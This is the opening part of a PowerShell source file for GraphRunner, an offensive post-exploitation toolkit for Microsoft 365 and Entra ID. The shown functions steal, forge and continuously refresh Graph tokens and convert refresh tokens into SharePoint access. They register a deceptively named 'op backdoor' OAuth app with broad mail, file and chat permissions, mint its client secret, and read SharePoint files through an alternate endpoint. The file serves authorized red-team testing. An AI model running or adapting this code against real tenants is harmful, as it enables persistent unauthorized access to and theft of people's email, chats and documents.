/
GraphRunner.ps1
7380 lines (6290 loc) · 337 KB
/
GraphRunner.ps1
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Write-Host -ForegroundColor green "
________ __ _______ by Beau Bullock (@dafthack)
/_______/___________ ______ | |____/_______\__ __ ____ ____ ___________
/___\ __\______\____\ \_____\|__|__\|________/__|__\/____\ /____\_/____\______\
\ \_\ \ | \// __ \| |_/ | Y \ | \ | / | \ | \ ___/| | \/
\________/__| (______/__| |___|__|____|___/____/|___|__/___|__/\___| >__|
Do service principals dream of electric sheep?
For usage information see the wiki here: https://github.com/dafthack/GraphRunner/wiki
To list GraphRunner modules run List-GraphRunnerModules
"
function Get-GraphTokens{
<#
.SYNOPSIS
Get-GraphTokens is the main user authentication module for GraphRunner. Upon authenticating it will store your tokens in the global $tokens variable as well as the tenant ID in $tenantid. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GraphTokens is the main user authentication module for GraphRunner. Upon authenticating it will store your tokens in the global $tokens variable as well as the tenant ID in $tenantid. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
.PARAMETER UserPasswordAuth
Provide a username and password for authentication instead of using a device code auth.
.PARAMETER Client
Provide a Client to authenticate to. Use Custom to provide your own ClientID.
.PARAMETER ClientID
Provide a ClientID to use with the Custom client option.
.PARAMETER Resource
Provide a resource to authenticate to such as https://graph.microsoft.com/
.PARAMETER Device
Provide a device type to use such as Windows or Android.
.PARAMETER Browser
Provide a Browser to spoof.
.EXAMPLE
C:\PS> Get-GraphTokens
Description
-----------
This command will initiate a device code auth where you can authenticate the terminal from an already authenticated browser session.
#>
[CmdletBinding()]
param(
[Parameter(Position = 0,Mandatory=$False)]
[switch]$ExternalCall,
[Parameter(Position = 1,Mandatory=$False)]
[switch]$UserPasswordAuth,
[Parameter(Position = 2,Mandatory=$False)]
[ValidateSet("Yammer","Outlook","MSTeams","Graph","AzureCoreManagement","AzureManagement","MSGraph","DODMSGraph","Custom","Substrate")]
[String[]]$Client = "MSGraph",
[Parameter(Position = 3,Mandatory=$False)]
[String]$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
[Parameter(Position = 4,Mandatory=$False)]
[String]$Resource = "https://graph.microsoft.com",
[Parameter(Position = 5,Mandatory=$False)]
[ValidateSet('Mac','Windows','AndroidMobile','iPhone')]
[String]$Device,
[Parameter(Position = 6,Mandatory=$False)]
[ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')]
[String]$Browser
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}
if($UserPasswordAuth){
Write-Host -ForegroundColor Yellow "[*] Initiating the User/Password authentication flow"
$username = Read-Host -Prompt "Enter username"
$password = Read-Host -Prompt "Enter password" -AsSecureString
$passwordText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password))
$url = "https://login.microsoft.com/common/oauth2/token"
$headers = @{
"Accept" = "application/json"
"Content-Type" = "application/x-www-form-urlencoded"
"User-Agent" = $UserAgent
}
$body = "grant_type=password&password=$passwordText&client_id=$ClientID&username=$username&resource=$Resource&client_info=1&scope=openid"
try{
Write-Host -ForegroundColor Yellow "[*] Trying to authenticate with the provided credentials"
$tokens = Invoke-RestMethod -Uri $url -Method Post -Headers $headers -Body $body
if ($tokens) {
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
Write-Output "Decoded JWT payload:"
$tokobj
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
}
} catch {
$details = $_.ErrorDetails.Message | ConvertFrom-Json
Write-Output $details.error
}
$global:tokens = $tokens
if($ExternalCall){
return $tokens
}
}
else{
If($tokens){
$newtokens = $null
while($newtokens -notlike "Yes"){
Write-Host -ForegroundColor cyan "[*] It looks like you already tokens set in your `$tokens variable. Are you sure you want to authenticate again?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Initiating device code login..."
$global:tokens = ""
$newtokens = "Yes"
} elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
} else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$body = @{
"client_id" = $ClientID
"resource" = $Resource
}
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
Write-Host -ForegroundColor yellow $authResponse.Message
$continue = "authorization_pending"
while ($continue) {
$body = @{
"client_id" = $ClientID
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"scope" = "openid"
}
try {
$tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
if ($tokens) {
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
Write-Output "Decoded JWT payload:"
$tokobj
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
$continue = $null
}
} catch {
$details = $_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Output $details.error
}
if ($continue) {
Start-Sleep -Seconds 3
}
else{
$global:tokens = $tokens
if($ExternalCall){
return $tokens
}
}
}
}
}
function Invoke-AutoTokenRefresh{
<#
.SYNOPSIS
Continuously refresh tokens at an interval.
Author: Steve Borosh (@424f424f)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will refresh a Microsoft ID token at specified intervals.
.PARAMETER RefreshToken
Supply a refresh token to re-authenticate.
.PARAMETER tenantid
Supply a tenant domain or ID to authenticate to.
.PARAMETER RefreshInterval
Supply an interval in minutes to refresh the token. Default 5 minutes.
.PARAMETER InitializationDelay
Supply a delay before starting to refresh in minutes. Devault is 0.
.PARAMETER OutFile
Supply file name to save to. This will overwrite the current file.
.EXAMPLE
C:\PS> Invoke-AutoTokenRefresh - RefreshToken "0.A.." -tenantid "company.com" -Outfile .\access_token.txt
Description
-----------
This command will use the refresh token to aquire a new access_token, save it to the $tokens variable and to the Outfile.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory = $True)]
[string]
$RefreshToken,
[Parameter(Mandatory = $True)]
[string]
$tenantid,
[Parameter(Mandatory = $False)]
$RefreshInterval = 5,
[Parameter(Mandatory = $False)]
$InitializationDelay = 0,
[Parameter(Mandatory = $False)]
[switch]
$DisplayToken,
[Parameter(Mandatory = $False)]
[string]
$Outfile
)
if($InitializationDelay){
Start-Sleep -Seconds (60 * $InitializationDelay)
}
while($true){
if(!$RefreshToken){
write-host -ForegroundColor red '[*] A refresh token is required.'
break
} elseif (!$tenantid){
write-host -ForegroundColor red '[*] The tenant id or domain is required.'
}
Write-Host -ForegroundColor yellow "[*] Refreshing Tokens..."
$authUrl = "https://login.microsoftonline.com/$tenantid"
$refreshbody = @{
"resource" = "https://graph.microsoft.com/"
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "refresh_token"
"refresh_token" = $RefreshToken
"scope"= "openid"
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36"
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
try {
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
}
catch {
$details=$_.ErrorDetails.Message | ConvertFrom-Json
Write-Output $details.error
}
if($reftokens)
{
$global:tokens = $reftokens
$tokenPayload = $tokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
Write-host "Decoded JWT payload:"
$tokobj
$global:tokens.access_token | Out-File -encoding ascii -FilePath $Outfile
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $access_token variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
if($DisplayToken){
Write-Host "[*] Your access token is:"
Write-Host $global:tokens.access_token
}
Start-Sleep -Seconds (60 * $RefreshInterval)
}
}
}
function Invoke-RefreshGraphTokens {
<#
.SYNOPSIS
Access tokens typically have an expiration time of one hour, so it will be necessary to refresh them occasionally. If you have already run the Get-GraphTokens command, your refresh tokens will be utilized when you run Invoke-RefreshGraphTokens to obtain a new set of tokens.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Access tokens typically have an expiration time of one hour, so it will be necessary to refresh them occasionally. If you have already run the Get-GraphTokens command, your refresh tokens will be utilized when you run Invoke-RefreshGraphTokens to obtain a new set of tokens.
.PARAMETER RefreshToken
Supply a refresh token to re-authenticate.
.PARAMETER tenantid
Supply a tenant domain or ID to authenticate to.
.PARAMETER Client
Provide a Client to authenticate to. Use Custom to provide your own ClientID.
.PARAMETER ClientID
Provide a ClientID to use with the Custom client option.
.PARAMETER Resource
Provide a resource to authenticate to such as https://graph.microsoft.com/
.PARAMETER Device
Provide a device type to use such as Windows or Android.
.PARAMETER Browser
Provide a Browser to spoof.
.PARAMETER AutoRefresh
If this switch is enabled, it will skip the 'break' statement, allowing for automatic token refresh.
#>
[cmdletbinding()]
Param (
[Parameter(Mandatory = $False)]
[string]
$RefreshToken,
[Parameter(Mandatory = $False)]
[string]
$tenantid = $global:tenantid,
[Parameter(Mandatory = $False)]
[ValidateSet("Yammer", "Outlook", "MSTeams", "Graph", "AzureCoreManagement", "AzureManagement", "MSGraph", "DODMSGraph", "Custom", "Substrate")]
[String[]]$Client = "MSGraph",
[Parameter(Mandatory = $False)]
[String]
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
[Parameter(Mandatory = $False)]
[String]
$Resource = "https://graph.microsoft.com",
[Parameter(Mandatory = $False)]
[ValidateSet('Mac', 'Windows', 'AndroidMobile', 'iPhone')]
[String]
$Device,
[Parameter(Mandatory = $False)]
[ValidateSet('Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari')]
[String]
$Browser,
[switch]
$AutoRefresh
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
} else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
} else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
} else {
$UserAgent = Invoke-ForgeUserAgent
}
}
if (!$RefreshToken) {
if (!$tokens) {
Write-Host -ForegroundColor red '[*] No tokens found in the $tokens variable. Use the Get-GraphTokens module to authenticate first.'
break
} else {
$RefreshToken = $tokens.refresh_token
}
}
Write-Host -ForegroundColor yellow "[*] Refreshing Tokens..."
$authUrl = "https://login.microsoftonline.com/$tenantid"
$refreshbody = @{
"resource" = "https://graph.microsoft.com/"
"client_id" = $ClientID
"grant_type" = "refresh_token"
"refresh_token" = $RefreshToken
"scope" = "openid"
}
$Headers = @{}
$Headers["User-Agent"] = $UserAgent
try {
$reftokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token" -Headers $Headers -Body $refreshbody
} catch {
$errorMessage = $_.Exception.Message
Write-Output "Error refreshing tokens: $errorMessage"
return
}
if ($reftokens) {
$global:tokens = $reftokens
$tokenPayload = $reftokens.access_token.Split(".")[1].Replace('-', '+').Replace('_', '/')
while ($tokenPayload.Length % 4) { Write-Verbose "Invalid length for a Base-64 char array or string, adding ="; $tokenPayload += "=" }
$tokenByteArray = [System.Convert]::FromBase64String($tokenPayload)
$tokenArray = [System.Text.Encoding]::ASCII.GetString($tokenByteArray)
$tokobj = $tokenArray | ConvertFrom-Json
$global:tenantid = $tokobj.tid
if(!$AutoRefresh){
Write-host "Decoded JWT payload:"
$tokobj
Write-Host -ForegroundColor Green '[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)'
}
$baseDate = Get-Date -date "01-01-1970"
$tokenExpire = $baseDate.AddSeconds($tokobj.exp).ToLocalTime()
Write-Host -ForegroundColor Yellow "[!] Your access token is set to expire on: $tokenExpire"
if (-not $AutoRefresh) {
break
}
return $reftokens
}
}
function Invoke-InjectOAuthApp{
<#
.SYNOPSIS
This is a CLI tool for automating the deployment of an app registration to a Microsoft Azure tenant. In the event that the Azure portal is locked down this may provide an additional mechanism for app deployment, provided that user's are allowed to register apps in the tenant.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This is a CLI tool for automating the deployment of an app registration to a Microsoft Azure tenant. In the event that the Azure portal is locked down this may provide an additional mechanism for app deployment, provided that user's are allowed to register apps in the tenant.
.PARAMETER AppName
The display name of the App Registration. This is what will be displayed on the consent page.
.PARAMETER ReplyUrl
The reply URL to redirect a user to after app consent. This is where you will want to capture the OAuth code and complete the flow to obtain an access token and refresh token.
.PARAMETER Scope
Delegated Microsoft Graph permissions to scope to the app. Example: Mail.Read, User.ReadBasic.All, etc. Scope items need to be comma separated with each item in double quotes like this (-scope "Mail.Read","openid","email","profile","offline_access")
.PARAMETER Tokens
Provide an already authenticated access token.
.EXAMPLE
C:\PS> Invoke-InjectOAuthApp -AppName "Win Defend for M365" -ReplyUrl "https://windefend.azurewebsites.net" -scope "openid","Mail.Read","email","profile","offline_access"
Description
-----------
This command will inject an app registration with the display name of "Win Defend for M365" with a scope of openid, Mail.Read, email, profile, and offline_access
.EXAMPLE
C:\PS> Invoke-InjectOAuthApp -AppName "Not a Backdoor" -ReplyUrl "http://localhost:10000" -scope "op backdoor" -Tokens $tokens
Description
-----------
This command takes an already authenticated access token gathered from something like a device code login. It uses the hardcoded value of "op backdoor" as the scope to add a large number of permissions to the app registration. None of these permissions require admin consent. Also, by specifying the reply url as running on localhost you can use the Invoke-AutoOAuthFlow module to spin up a web server on the localhost for capturing the auth code during consent flow.
#>
Param(
[Parameter(Position = 0, Mandatory = $True)]
[string]
$AppName = "",
[Parameter(Position = 1, Mandatory = $True)]
[string]
$ReplyUrl = "",
[Parameter(Position = 2, Mandatory = $True)]
[string[]]
$Scope,
[Parameter(Position = 3, Mandatory = $False)]
[object[]]
$Tokens
)
if($Tokens){
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
}
else{
# Login
Write-Host -ForegroundColor yellow "[*] First, you need to login as the user you want to deploy the app as."
Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
while($auth -notlike "Yes"){
Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
$tokens = Get-GraphTokens -ExternalCall
$auth = "Yes"
} elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
} else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$access_token = $tokens.access_token
$Headers = @{
Authorization = "Bearer $access_token"
}
# Get Microsoft Graph Object ID
Write-Host -ForegroundColor yellow "[*] Getting Microsoft Graph Object ID"
# Get full service principal list
$initialUrl = "https://graph.microsoft.com/v1.0/servicePrincipals"
$headers = @{"Authorization" = "Bearer $access_token"}
# Initialize an array to store all collected data
$allData = @()
# Loop until there's no more nextLink
do {
# Invoke the web request
try{
$response = Invoke-WebRequest -UseBasicParsing -Uri $initialUrl -Headers $headers
}catch{
Write-Host -ForegroundColor Red "[*] Something went wrong."
return
}
# Convert the response content to JSON
$jsonData = $response.Content | ConvertFrom-Json
# Add the current page's data to the array
$allData += $jsonData.value
# Check if there's a nextLink
if ($jsonData.'@odata.nextLink') {
$initialUrl = $jsonData.'@odata.nextLink'
}
else {
break
}
} while ($true)
$appDisplayNameToSearch = "Microsoft Graph"
$graphId = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty appId
$graphIdInternal = $allData | Where-Object { $_.appDisplayName -eq $appDisplayNameToSearch } | Select-Object -ExpandProperty Id
Write-Output "Graph ID: $graphId"
Write-Output "Internal Graph ID: $graphIdInternal"
# Get Object IDs of individual permissions
Write-Host -ForegroundColor yellow "[*] Now getting object IDs for scope objects:"
$spns = Invoke-WebRequest -UseBasicParsing -Uri "https://graph.microsoft.com/v1.0/servicePrincipals/$graphIdInternal" -Headers $headers
$spnsjson = $spns.Content | ConvertFrom-Json
if ($Scope -like "op backdoor")
{
$Scope = "openid","profile","offline_access","email","User.Read","User.ReadBasic.All","Mail.Read","Mail.Send","Mail.Read.Shared","Mail.Send.Shared","Files.ReadWrite.All","EWS.AccessAsUser.All","ChatMessage.Read","ChatMessage.Send","Chat.ReadWrite","Chat.Create","ChannelMessage.Edit","ChannelMessage.Send","Channel.ReadBasic.All","Presence.Read.All","Team.ReadBasic.All","Team.Create","Sites.Manage.All","Sites.Read.All","Sites.ReadWrite.All","Policy.Read.ConditionalAccess"
Write-Host -ForegroundColor yellow "[*] One overpowered (OP) backdoor is coming right up! Here is the scope:"
}
elseif ($Scope -like "mail reader")
{
$Scope = "openid","profile","offline_access","email","User.Read","Mail.Read","Mail.Read.Shared"
Write-Host -ForegroundColor yellow "[*] One overpowered (OP) backdoor is coming right up! Here is the scope:"
}
$scopeurl = ""
$accesslist = ""
$scopeIds = @{}
$joinedScope = $Scope -join " "
$joinedScope
# Loop through each item in $Scope
foreach ($item in $Scope){
$variableName = $item -replace "[\W\d]", "" # Remove non-alphanumeric characters and digits
$variableName = $variableName + "Scope"
$scopeItem = $spnsjson.oauth2PermissionScopes | Where-Object { $_.value -eq "$item" } |select-object id
$scopeId = ('"' + $scopeItem.Id +'"')
if (!$scopeId){Write-host -foregroundcolor red "[**] Couldn't find scope option $item"}
else{
Write-Host ($item + " : " + $scopeId)
$scopeurl += "$item%20"
$accesslist += '{"id": ' + $scopeId + ',"type": "Scope"},'
# Store the scope ID in the hashtable
$scopeIds[$variableName] = $scopeId
}
}
Write-Host -ForegroundColor yellow "[*] Finished collecting object IDs of permissions."
# Create a resources variable
$permissions = $accesslist.Trim(",")
$resources = @"
{"resourceAppId": "$graphId", "resourceAccess": [$permissions]}
"@
# Create the app in the tenant
Write-host -ForegroundColor yellow "[*] Now deploying the app registration with display name $AppName to the tenant."
$resourceAccess = $resources | ConvertFrom-Json
# Construct the JSON body
$jsonBody = @{
displayName = $AppName
signInAudience = "AzureADMultipleOrgs"
keyCredentials = @()
web = @{
redirectUris = @($ReplyUrl)
}
requiredResourceAccess = @(
@{
resourceAppId = $resourceAccess.resourceAppId
resourceAccess = $resourceAccess.resourceAccess
}
)
}
# Convert the JSON body to a properly formatted JSON string
$finalJson = $jsonBody | ConvertTo-Json -Depth 10
$appcreationheaders = @{
Authorization = "Bearer $access_token"
"Content-Type" = "application/json"
"Accept-Encoding" = "gzip, deflate"
}
$appresponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications" -Headers $appcreationheaders -Method Post -Body $finaljson
if (!$appresponse){
Write-host -ForegroundColor red "[*] An error occurred during deployment."
break
}
$currentTime = Get-Date -Format "yyyy-MM-ddTHH:mm:ssZ"
$oneYearLater = (Get-Date).AddYears(1).ToString("yyyy-MM-ddTHH:mm:ssZ")
$secretCredential = @{
passwordCredential = @{
displayName = $null
endDateTime = $oneYearLater
startDateTime = $currentTime
}
}
$SecretBody = $secretCredential | ConvertTo-Json
$applicationid = $appresponse.id
$secretrequest = Invoke-WebRequest -UseBasicParsing -Headers $Headers -Method POST -ContentType "application/json" -Body $SecretBody -Uri "https://graph.microsoft.com/v1.0/applications/$applicationid/addPassword"
$secretdata = $secretrequest.Content |ConvertFrom-json
# Generate the Consent URL
Write-host -ForegroundColor yellow "[*] If everything worked successfully this is the consent URL you can use to grant consent to the app:"
$consentURL = "https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=" + $appresponse.AppId + "&response_type=code&redirect_uri=" + [System.Web.HttpUtility]::UrlEncode($ReplyUrl) + "&response_mode=query&scope=" + $scopeurl.Trim("%20") + "&state=1234"
Write-Host "--------------------------------------------------------"
Write-Host -ForegroundColor green $consentURL
Write-Host "--------------------------------------------------------"
Write-Host ("Application ID: " + $appresponse.AppId)
Write-Host ("Object ID: " + $appresponse.Id)
Write-Host ("Secret: " + $Secretdata.secretText)
Write-Host "--------------------------------------------------------"
if($ReplyUrl -match "localhost" -or $ReplyUrl -match "127.0.0.1"){
Write-Host "Localhost detected in Reply URL field. You can use the Invoke-AutoOAuthFlow module to complete the OAuth flow automatically."
Write-Host "--------------------------------------------------------"
$scopeclean = ('"' + $scopeurl.replace('%20', ' ').Trim(" ") + '"')
Write-Host -ForegroundColor Cyan ('Invoke-AutoOAuthFlow -ClientId "' + $appresponse.AppId + '" -ClientSecret "' + $Secretdata.secretText + '" -RedirectUri "' + $ReplyURL + '" -scope ' + $scopeclean)
}
else{
Write-Host "After you obtain an OAuth Code from the redirect URI server you can use this command to complete the flow:"
Write-Host "--------------------------------------------------------"
$scopeclean = ('"' + $scopeurl.replace('%20', ' ').Trim(" ") + '"')
Write-Host -ForegroundColor Cyan ('Get-AzureAppTokens -ClientId "' + $appresponse.AppId + '" -ClientSecret "' + $Secretdata.secretText + '" -RedirectUri "' + $ReplyURL + '" -scope ' + $scopeclean + " -AuthCode <insert your OAuth Code here>")
}
}
function Invoke-RefreshToSharePointToken {
<#
.DESCRIPTION
Generate a SharePoint token from a refresh token.
.EXAMPLE
Invoke-RefreshToSharePointToken -domain myclient.org -refreshToken ey....
$SharePointToken.access_token
#>
[cmdletbinding()]
Param([Parameter(Mandatory=$false)]
[string]$domain,
[Parameter(Mandatory=$false)]
[String]$ClientId = "d3590ed6-52b3-4102-aeff-aad2292ab01c",
[Parameter(Position = 3, Mandatory = $True)]
[object[]]
$Tokens,
[Parameter(Mandatory=$False)]
[ValidateSet('Mac','Windows','AndroidMobile','iPhone')]
[String]$Device,
[Parameter(Mandatory=$False)]
[ValidateSet('Android','IE','Chrome','Firefox','Edge','Safari')]
[String]$Browser
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$Resource = "https://$($domain)/"
$authUrl = "https://login.microsoftonline.com/$($global:tenantid)"
$refreshToken = $tokens.refresh_token
$body = @{
"resource" = $Resource
"client_id" = $ClientId
"grant_type" = "refresh_token"
"refresh_token" = $refreshToken
"scope" = "openid"
}
$global:SharePointToken = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "$($authUrl)/oauth2/token?api-version=1.0" -Headers $Headers -Body $body
}
function Invoke-ImmersiveFileReader{
<#
.SYNOPSIS
Simple module to read a file with the immersive reader.
Author: Steve Borosh (@424f424f)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Simple module to read a file with the immersive reader.
.PARAMETER SharePointDomain
The target SharePoint domain. e.g. targetcompany.sharepoint.com
.PARAMETER DriveID
The DriveID.
.PARAMETER FileID
The ID of the file to open.
.EXAMPLE
C:\PS> Invoke-ImmersiveFileReader -SharePointDomain targetcompany.sharepoint.com -DriveID <drive ID> -FileID <FileID>
Description
-----------
This command use the immersive reader to read a file.
#>
param(
[Parameter(Position = 1, Mandatory = $True)]
[string]
$SharePointDomain,
[Parameter(Mandatory = $True)]
[string]
$DriveID,
[Parameter(Mandatory = $True)]
[string]
$FileID,
[Parameter(Mandatory = $False)]
[object[]]
$Tokens
)
if ($Device) {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Device $Device -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent -Device $Device
}
}
else {
if ($Browser) {
$UserAgent = Invoke-ForgeUserAgent -Browser $Browser
}
else {
$UserAgent = Invoke-ForgeUserAgent
}
}
if($Tokens){
Write-Host -ForegroundColor yellow "[*] Using the provided access tokens."
}
else{
# Login
Write-Host -ForegroundColor yellow "[*] First, you need to login."
Write-Host -ForegroundColor yellow "[*] If you already have tokens you can use the -Tokens parameter to pass them to this function."
while($auth -notlike "Yes"){
Write-Host -ForegroundColor cyan "[*] Do you want to authenticate now (yes/no)?"
$answer = Read-Host
$answer = $answer.ToLower()
if ($answer -eq "yes" -or $answer -eq "y") {
Write-Host -ForegroundColor yellow "[*] Running Get-GraphTokens now..."
$tokens = Get-GraphTokens -ExternalCall
$auth = "Yes"
} elseif ($answer -eq "no" -or $answer -eq "n") {
Write-Host -ForegroundColor Yellow "[*] Quitting..."
return
} else {
Write-Host -ForegroundColor red "Invalid input. Please enter Yes or No."
}
}
}
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$Headers["Host"] = 'southcentralus1-mediap.svc.ms'
$Headers["Accept-Language"] = "en-US"
Invoke-RefreshToSharePointToken -domain $SharePointDomain -ClientId "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" -Tokens $tokens
try {
$request = Invoke-WebRequest -UseBasicParsing -Headers $Headers -Method GET -Uri "https://southcentralus1-mediap.svc.ms/transform/imreader?provider=spo&inputFormat=txt&cs=fFNQTw&docid=https%3A%2F%2F$($SharePointDomain)%3A443%2F_api%2Fv2.0%2Fdrives%2F$($DriveID)%2Fitems%2F$($FileID)%3Fversion%3DPublished&access_token=$($global:SharePointToken.access_token)&nocache=true"
}catch{
$err = $_.Exception
$err
}
$out = $request.Content | ConvertFrom-Json
$out.data.t
}
function Invoke-DeleteOAuthApp{
<#
.SYNOPSIS
Simple module to delete an app registration. Use the Object ID (Output at the end of Invoke-InjectOAuthApp) not the app ID.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Simple module to delete an app registration. Use the Object ID (Output at the end of Invoke-InjectOAuthApp) not the app ID.
.PARAMETER Tokens
Provide an already authenticated access token.
.PARAMETER ObjectID
The Object ID of the app registration you want to delete.
.EXAMPLE
C:\PS> Invoke-DeleteOAuthApp -Tokens $tokens -ObjectID <object ID of app>
Description
-----------
This command will delete the specified app registration from the tenant.
#>
param(
[Parameter(Position = 0, Mandatory = $True)]
[object[]]
$Tokens = "",
[Parameter(Position = 0, Mandatory = $True)]
[string]
$ObjectID = ""
)
$accessToken = $tokens.access_token
$deleteUrl = "https://graph.microsoft.com/v1.0/applications/$ObjectID"
$headers = @{
Authorization = "Bearer $accessToken"
}
$response = Invoke-RestMethod -Uri $deleteUrl -Headers $headers -Method Delete
if ($response -ne $null) {
Write-Output "App registration with ID $ObjectId deleted successfully."
} else {
Write-Error "Error deleting app registration."
}
}
Function Invoke-GraphOpenInboxFinder{
<#
.SYNOPSIS
A module that can be used to find inboxes of other users in a tenant that are readable by the current user. This oftentimes happens when a user has misconfigured their mailbox to allow others to read mail items within it. NOTE: You must have Mail.Read.Shared or Mail.ReadWrite.Shared permissions to read other mailboxes with the Graph.
Author: Beau Bullock (@dafthack)
License: MIT
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
